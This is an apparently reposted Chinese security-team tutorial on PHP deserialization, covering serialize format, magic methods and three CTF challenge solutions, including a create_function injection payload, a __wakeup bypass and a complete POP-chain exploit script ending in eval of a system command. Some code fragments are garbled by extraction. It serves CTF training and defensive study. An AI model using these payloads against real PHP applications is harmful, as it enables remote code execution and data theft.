文章总结: 这篇文章详细介绍了PHP反序列化的基础知识,包括序列化与反序列化的概念、PHP魔法函数的特点,以及反序列化漏洞的成因。文章通过三个实际CTF题目案例,展示了如何利用反序列化漏洞进行攻击,包括简单的反序列化利用、字符逃逸技术以及复杂的POP链构造方法。文章还解释了POP链的概念、用途和构造技巧,为读者提供了实用的PHP反序列化漏洞利用知识。
综合评分: 88
文章分类: WEB安全,代码审计,CTF,漏洞分析
php反序列化基础学习
原创
capperflag
capperflag安全团队
2025年12月12日 00:53
河北
php反序列化基础
1
什么是php序列化,什么是php反序列化
序列化:serialize
将对象object、字符串string、数组array、变量,转换成具有一定格式的字符串,使其能在文件储存或传输的过程中保持稳定的格式。
eg:
O:6:"Person":3:{s:4:"name";s:3:"Tom";s:11:"Personage";i:18;s:6:"*sex";s:4:"male";}
其中,从前往后依次为:O代表object,如果是数组则是 i;6代表对象名长度;Person是对象名;3是对象里面的成员变量的数量;括号里面 s 代表 string 数据类型,如果是 i 则代表 int 数据类型;4代表 属性名的长度;name即属性名;s同前面;3 代表属性值长度;Tom即属性值,后面同理(数字不显示长度)。同时注意到类里面的方法并不会序列化。
反序列化:unserialize
序列化逆过程。
2
魔法函数
啥是魔法函数
在PHP中,“魔法函数”通常指的是魔术方法(Magic Methods)。是PHP面向对象编程中内置的一组特殊方法,其命名均以两个下划线()开头。
特点:不需要手动调用,在特定条件由PHP解释器自动触发执行。
常见的魔法函数
__construct():构造函数,此函数会在创建一个类的实例时自动调用。
__destruct():析构函数,此函数会在对象的所有引用都被删除或者类被销毁的时候自动调用。
__invoke():当对象被当作函数使用时自动调动
__sleep():执行serialize()函数之前,会检查类中是否存在_sleep()方法。如果存在,该方法会先被调用。
__wakeup():执行unserialize()函数之前,会检查类中是否存在_wakeup()方法。如果存在,则会先调用_wakeup()方法,预先准备对象需要的资源。(漏洞绕过wakeup()当反序列化字符串中,表示属性个数的值大于其真实值,可跳过__wakeup)
__toString():当一个对象被当作一个字符串使用时被调用。例如echo $obj或者拼接字符串时;此方法必须返回一个字符串,否则会产生 E_RECOVERABLE_ERROR 级别的错误。
__get():在读取不可访问的属性值的时候,此魔法函数会自动调用。
__isset():在不可访问的属性上调用isset()或empty()时自动调用。
__unset():在不可访问的属性上使用unset()时自动调用。
__call():在调用未定义的方法时被调用。
__callStatic():在静态上下文中调用不可访问的方法时自动调用。
3
为啥会有漏洞
反序列化处的参数用户可控,那么过滤等不够,传特定命名执行,可能有漏洞
直接上题
https://www.nssctf.cn/problem
[SWPUCTF 2022 新生赛]1z_unserialize
先进行代码审计
//定义了类:lyh,三个参数
lt;
//a($this->lly): 将 $this->lly 的值作为参数传递给 $a 所代表的函数。
$a = $this->lt;$a($this->lly);相当于lt(lly):
$a($this->lly);
}
}
unserialize($\_POST[‘nss’]); //post传参,反序列化操作
highlight\_file(\_\_FILE\_\_);
?>
整理逻辑
Post传参后,对参数先进行反序列化–>那么传入时要序列化
有一个魔法函数,lt(lly),那命令执行?,system(cat /f*)
构造
传参,得到flag
字符逃逸(BugKu中的unserealize noteasy)
< ? php
if (isset($_GET[‘p’])) {
$p = unserialize($_GET[‘p’]);
}
show_source(“index.php”);
定义类Noteasy
class Noteasy
{
private $a;
private $b;
public function __construct($a, $b)
//注意里面有eval($a.$b);嗯,危险函数。但是!!!反序列化不会调用这个魔术方法而是调用 __wakeup()(如果存在)。所以可以直接pass
{
$this->a = $a;
$this->b = $b;
$this->check($a.$b);
eval($a.$b);
}
public function __destruct()
// function __destruct()反序列化会调用,可以利用!
{
$a = (string)$this->a;
$b = (string)$this->b;
$this->check($a.$b);
$a(“”, $b); //重点!!!a作为这个函数,而b是这个要执行的函数体
}
private function check($str) //过滤 {
if (preg_match_all(“(ls|find|cat|grep|head|tail|echo)”, $str) > 0) die(“You are a hacker, get out”);
}
public function setAB($a, $b)
{
$this->a = $a;
$this->b = $b;
}
}
构造
前面类的创造,直接复制粘贴就行,使用creat_function函数方法,实例化对象,这里命令:create_function 参数:’}highlight_file(“/flag”);/*’ (重点)‘}用来和前面闭合,然后让其执行highlight_file(“/flag”),(highlight_file类似文件读取);形成完整语句,后面的/*注释掉后面多余的 },避免语法错误。
复制编码,传参,得到flag
Pop链构造
什么是pop链
POP链是一种利用PHP对象属性进行攻击的技术。它通过串联多个魔术方法,形成一个调用链,最终达到执行任意代码的目的。
为什么要用POP链?
绕过限制:很多情况下,不能直接调用危险函数
串联利用:单个魔术方法可能不够,需要多个方法组合
无直接危险函数调用:通过正常的业务逻辑触发恶意行为
上题([NISACTF 2022]babyserialize)
1、 打开靶场,反序列化pop链,代码审计
Get传参,ser。
定义了NISA类,魔术方法 __wakeup()
使用了魔术方法 __wakeup()(反序列化对象时自动调用)而$fun等于”show_me_flag”,调用hint()函数,会终止程序,需要绕过。
魔术方法 __call():调用对象中不存在的方法时自动调用
将$val数组的第一个元素赋值给$fun属性。那么这个可以用于修改$fun的值,绕过__wakeup()的判断
魔术方法 __toString()对象被当作字符串处理输出$fun的值,返回一个空格
魔术方法 __invoke()将对象当作函数调用时自动调用,调用checkcheck()检测$txw4ever
eval执行$txw4ever中的代码
定义了类TianXiWei
魔术方法 __wakeup()反序列化该类对象时自动调用,调用$ext属性的nisa()方法,并传入$x作为参数,那么若$ext是其他类的对象,且该类无nisa()方法,则触发其__call()
类 Ilovetxw,魔术方法 __call()调用该类不存在的方法时触发,将$arg数组第一个元素赋值给$huang->fun。魔术方法 __toString()该类对象被当作字符串处理时触发,将$su赋值给$bb
返回$bb()的结果
定义了类four, 魔术方法 __set()给对象的不可访问属性(如私有、不存在)赋值时触发
给$name属性赋值为$value,若$fun被赋值为”sixsixsix”,则将$a转为小写。
1、 分析链逻辑
首先找危险函数和关键字样,看到了eval,参数是txw4ever ( @eval($this->txw4ever); )那么用这个txw4ever,来调用系统函数实现命令执行,发现需要触发__invoke()函数。(__invoke是对象被当做函数进行调用时就会触发,我们去找类似$a()这种的(所有类里面找),所在类是NISA
发现$bb(),参数是su,所在类为Ilovetxw。触发是__ToString⽅法(当对象被当做字符串的时候会自动调用),那就去找有关字符串的代码。
发现strtolower函数,该函数是将字符串转换成小写,所在类是four,触发是 __set()(给对象的不可访问属性(如私有、不存在)赋值时触发)所在类是four,注意fun是私有属性从类外部访问时会触发 __set(),需要$four->fun = xxx
发现Ilovetxw::__call()里有(当调用一个对象中不存在 / 不可访问的方法时,自动触发该方法)
Four类里面的fun私有,那么会触发__call()
再看TianXiWei类:__wakeup()调用(反序列化时触发__wakeup)
2、 具体方法
目标:执行eval($txw4ever) $n = new NISA(); $n->txw4ever = ‘System(“cat /f*”);’;
$n->fun = “666”; // 避免 __wakeup 中 hint()
触发__invoke()–>NISA对象被当作函数调用–>($bb()–> 触发Ilovetxw::__toString()
$i = new Ilovetxw(); $i->su = $n; // __toString 时调用 $n()
触发__toString()–>Ilovetxw对象被当作字符串处理–>需触发four中的strtolower($this->a)
$f = new four(); $f->a = $i;
触发strtolower–>执行four::__set() → 需给four的不可访问属性(如私有$fun)赋值
$i = new Ilovetxw(); $i->huang = $f;
入口
$t = new TianXiWei(); $t->ext = $i;
3、 执行脚本
<?php
class NISA{
public $fun=”show_me_flag”;
public $txw4ever; // 1 shell
public function __wakeup()
{
if($this->fun==”show_me_flag”){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return ” “;
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext; //5 Ilovetxw
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang; //4 four
public $su; //2 NISA
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a=”TXW4EVER”; //3 Ilovetxw
private $fun=’sixsixsix’; //fun = “sixsixsix
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = “sixsixsix”){
strtolower($this->a);
}
}
}
$n = new NISA();
$n->txw4ever = ‘System(“cat /f*”);’;
$n->fun = “666”;
$i = new Ilovetxw();
$i->su = $n;
$f = new four();
$f->a = $i;
$i = new Ilovetxw();
$i->huang = $f;
$t = new TianXiWei();
$t->ext = $i;
echo urlencode(serialize($t));
仅介绍了冰川一角~~~
有错误请指出
作者丨zoe
CapperFlag安全团队
点击蓝字,关注我们
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:capperflag安全团队 capperflag《php反序列化基础学习》